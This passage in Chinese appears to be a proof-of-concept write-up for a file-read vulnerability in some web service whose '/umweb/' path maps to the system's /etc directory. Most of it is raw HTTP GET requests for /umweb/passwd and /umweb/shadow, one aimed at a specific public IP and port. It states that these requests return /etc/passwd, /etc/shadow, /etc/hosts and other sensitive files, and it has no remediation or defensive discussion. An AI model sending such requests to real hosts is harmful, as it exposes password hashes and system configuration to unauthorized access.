构造

GET /umweb/passwd HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1

Connection: close

即可成功获取数据
同理，构造

GET /umweb/shadow HTTP/1.1
Host: 60.23.25.42:8887
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Connection: close

这里的umweb路径等价于/etc，后面接文件的地址
即

/umweb/passwd = /etc/passwd
同理还可以访问
/umweb/shadow
/umweb/hosts等敏感文件

注：可惜的是这个漏洞无法跨越目录访问，只能在/etc目录下进行访问，因此利用价值相对有限，无法获得过多的敏感数据，属于是是个鸡肋漏洞了。
